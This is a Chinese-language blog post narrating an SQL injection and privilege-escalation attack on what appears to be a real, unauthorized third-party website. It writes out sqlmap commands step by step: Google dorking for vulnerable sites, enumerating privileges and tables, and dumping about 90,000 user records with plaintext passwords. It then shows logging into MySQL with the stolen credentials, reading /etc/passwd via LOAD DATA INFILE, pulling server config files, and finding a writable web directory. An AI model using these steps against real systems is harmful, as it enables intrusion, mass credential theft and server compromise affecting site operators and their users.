banner
ximalaya

ximalaya

这里是openkava 的blog,关注程序开发的一切技术。 ZZ 表示转载的文章,如涉及版权,请和我联系删除。 在这里你可以看到关于以下技术的文章: 移动开发技术,ANDROID ,IOS,WINDOWS PHONE平台开发,企业ERP开发,动态脚本PYTHON ,OPENGL ES 3D技术,游戏开发技术,HTML5 ,JAVASCRIPT ,MYSQL,AMAZON EC2 ,GOOGLE GAE ,GOOGLE CLOUD SQL 等 。 本站发展历程: 2010年,正式把所有的blog移到这里,租用godaddy的空间,记录生活和工作上的一些心得。 下面是关于我的个人介绍,写在这里权当凑字数啦。 职业:软件开发,开发经验6年,管理经验3年; 工作上使用的技术:C#, SQL SERVER 个人使用的技术:PYTHON,PHP, CSS, JAVA ,ANDROID ,object-c 等等 联系我请发邮件:<a href="http://blog.openkava.com/openkava@gmail.png"><img class="alignnone size-full wp-image-96" title="邮箱" src="http://blog.openkava.com/openkava@gmail.png" alt="" width="174" height="24" /></a>

一次sql漏洞提权实验

sqlmap 是个 sql 注入扫描工具,python 语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过 google 查询来找到有 sql 注入的网站,不过 python 中使用www.google.com ,
对中国的用户会出错,找到源代码,   位于 lib/utils/google.py , 替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g "allinurl: php?id="

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"
找到数据库 mysql ,apache 服务。
查看当前 mysql 用户
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --current-user
查看数据库
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --current-db
查看用户权限,运气好,root 为管理员,接下来就简单了。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --privileges
查看表名
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --tables
找到用户表,users ,下载
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --dump -T "users
"
下载后,可以看到所有用户,有 9 万条数据密码居然不加密,找到 admin  和密码。

登陆网页界面,没有管理界面,上传不了 webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆 ssh ,不行。
直接 mysql 登陆,成功 。
接下来就是 mysql 提权了,不过 mysql 不是 root 用户运行,权限不够,mysql 5.1 版本,UDF 用不了 。
只能利用 mysql 的 load data in file 尝试获取系统信息:
登陆 mysql 后:
use  dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取 shadow ,失败,权限不够。

用 sqlmap 直接下载系统文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
下载 mysql 配置文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用 perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到 root 。

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.